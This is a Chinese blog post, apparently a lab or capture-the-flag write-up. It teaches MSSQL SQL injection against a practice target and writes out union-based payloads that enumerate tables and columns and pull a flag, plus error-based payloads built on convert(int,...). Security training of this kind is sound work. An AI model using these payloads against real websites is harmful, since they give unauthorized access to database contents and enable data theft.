MSSQL 数据库注入

huangxin0506 2024-8-2 288 8/2

1 MSSQL数据库

   1.1 概念

    MSSQL数据库指的是Microsoft SQL Server(简称MSSQL),它是由微软公司开发的一种关系型数据库管理系统(RDBMS)。SQL Server 使用结构化查询语言 (SQL) 进行数据库管理和操作,是企业级应用广泛使用的一种数据库系统。

MSSQL 数据库注入

  1.2  MSSQL系统自带库:

        Microsoft SQL Server包含一些系统自带的数据库,用于管理和维护SQL Server实例,例如master、model、tempdb和msdb等。这些数据库存储了SQL Server实例运行所需的元数据和系统信息。

        在 SQL Server 中,你可以使用 information_schema来查询数据库的元数据。information_schema 是一个符合 SQL 标准的系统视图集合,用于描述数据库的结构信息。

        information_schema.tables 常用列有 table_catalog(数据库名称), table_schema(列所属的架构名称), table_name

        information_schema.columns常用列有table_catalog,table_schema, table_name, column_name

显示数据库中的所有表的信息

select * from information_schema.tables;

MSSQL 数据库注入

提供关于数据库中表字段的信息

select * from information_schema.columns;

MSSQL 数据库注入

        虽然 information_schema数据库提供了一种标准化的方法来查询元数据,但 SQL Server 也提供了自己的系统视图,如 sys.tables 和 sys.columns。这两者的功能类似,但在某些情况下,sys 视图可能提供更多的 SQL Server 特定的信息。

   1.3 与MYSQL系统表查询的区别:

        在 MySQL 中,TABLES,COLUMNS 表是 information_schema 数据库中的视图。information_schema 是一个虚拟数据库,用于存储关于其他数据库(包括表、列、数据类型、权限等)的元数据。查询 TABLES,COLUMNS 表时,需要显式指定 information_schema 数据库,因为它不属于任何用户数据库。

        在 SQL Server中,sysobjects 表以及其他系统表和视图如 syscolumns 和 sys.columns 并不是专属于系统数据库。它们存在于每个数据库的上下文中,提供该数据库的元数据。因此,当你在任何用户数据库中查询这些表和视图时,只需要在适当的数据库上下文中执行查询,你就能得到当前数据库的对象信息。

显示数据库中的所有表的信息,stype列中S是系统自带数据表,U是用户创建的数据表

select * from sysobjects;

MSSQL 数据库注入

显示关于数据库中表字段的信息

select * from syscolumn;

MSSQL 数据库注入

2 MSSQL 显错注入 

db_name() 函数返回当前数据库的名称。

suser_name() 函数返回当前用户的登录名(即数据库登录名)

Sysobjects 查询系统自带表

Syscolumns 字段(id=) 指定系统自带表中的对应ID,查找或过滤特定的列信息。

打开靶场

MSSQL 数据库注入

2.1 判断是否有注入点

试注入 id=1'  页面报错,说明id值为数值类型

MSSQL 数据库注入

注入 id=1 and 1=1  页面显示

MSSQL 数据库注入

注入 id=1 and 1=2  页面报错,综上说明存在SQL注入

MSSQL 数据库注入

2.2 判断字段

注入 id=1 order by 3   页面显示

MSSQL 数据库注入

注入id=1 order by   页面报错,说明页面有三个字段

MSSQL 数据库注入

2.3 查找页面回显点

        注入 id=1 union select 1,2,3    页面报错,因为在 SQL Server 中,数据类型的严格性更高。如果字段的数据类型和查询中的值不匹配,会导致错误。

MSSQL 数据库注入

使用null 填充,注入 id=1 union select null,null,null

        先测试第一个类型,剩下的填null,通过页面结果判断第一个数据类型是否正确,以此类推得到正确SQL语句输入

MSSQL 数据库注入

注入 id=1 union select 1,null,null 没有报错说明第一个字段是int

MSSQL 数据库注入

注入 id=1 union select 1,2,null 发现报错

MSSQL 数据库注入

尝试字符,注入  id=1 union select 1,'b',null  发现没有报错

MSSQL 数据库注入

注入  id=1 union select 1,'b','c'  进而推出第三个字段

MSSQL 数据库注入

2.4 查找数据表名

id=1 union select 1,table_name,'c' from information_schema.tables where table_catalog=db_name()

MSSQL 数据库注入

尝试查找剩下表名

id=1 union select 1,table_name,'c' from information_schema.tables where table_catalog=db_name() and table_name<>'flags'

MSSQL 数据库注入

id=1 union select 1,table_name,'c' from information_schema.tables where table_catalog=db_name() and table_name<>'flags' and table_name<>'news'

MSSQL 数据库注入

2.5 查找flags表的字段名

id=1 and 1=2 union select 1,column_name,'c' from information_schema.columns where table_catalog=db_name() and table_name='flags'

MSSQL 数据库注入

2.6 查找flag

id=1 and 1=2 union select 1,'2',flag from flags where table_catalog=db_name()

MSSQL 数据库注入

2.7 得到地址/wobushiflag.php,成功拿到flag

MSSQL 数据库注入

3 也可以使用sysobjects系统表

3.1 查找当前用户自己创建的数据库表名和id(id必须放在第一个显示位,应为其数据类型为int)

id=1 and 1=2 union select id ,name,'c' from sysobjects where xtype='u'

MSSQL 数据库注入

3.2 查到userinfo表和对应id

id=1 and 1=2 union select id ,name,'c' from sysobjects where xtype='u' and name<>'news'

MSSQL 数据库注入

3.3 查到flags表和对应id

id=1 and 1=2 union select id ,name,'c' from sysobjects where xtype='u' and name<>'news' and name<>'userinfo'

MSSQL 数据库注入

3.4 查flags表的字段名

id=1 and 1=2 union select 1,name,'c' from syscolumns where id=965578478

MSSQL 数据库注入

3.5 查字段内容

id=1 and 1=2 union select 1,flag,'c' from flags

MSSQL 数据库注入

4 MSSQL报错注入 

   4.1 convert()函数,CONVERT()函数是把⽇期转换为新数据类型的通⽤函数

     id=convert(int,@@version)

    对于 convert(int,@@version),convert 函数⾸先会执⾏第⼆个参数指定的SQL查询,然后尝试将查询结果转换为int类型。但是,由于这个SQL查询的结果是varchar类型,⽆法进⾏指定的转换,所以,convert函数会抛出 ⼀个SQL server错误消息,指出“SQL查询结果”⽆法转换为“int”类型,这样的话,攻击者就能得到的这个SQL查询的结果了

MSSQL 数据库注入

convert(int,@@version) 获取版本信息

convert(int,db_name()) 数据库名字

convert(int,user) 当前⽤户名

convert(int,@@SERVERNAME) 获取有关服务器主机的信息

进入靶场没有回显点,输入正确错误注入显示都一样,便使用报错注入

4.2 查找当前用户自己创建的数据库表名

id=convert(int,(select name from sysobjects where xtype='u'))

MSSQL 数据库注入

出现报错,原因是输出内容不止一行,在sql serve中不能使用limit 0,1    改用top 1

select top 1 name from sysobjects where xtype='u';

MSSQL 数据库注入

select top 1 name from sysobjects where xtype='u' and name<>'news';

MSSQL 数据库注入

select top 1 name from sysobjects where xtype='u' and name<>'news' and name<>'userinfo';

4.3 查找字段名

id=convert(int,(select top 1 column_name from information_schema.columns where table_catalog=db_name() and table_name='flags'))

 

MSSQL 数据库注入

4.4 查找输出flag

id=convert(int,(select top 1 flag from flags))

 

 

 

 

- THE END -

huangxin0506

8月03日09:21

最后修改:2024年8月3日
0

非特殊说明,本博所有文章均为博主原创。

共有 0 条评论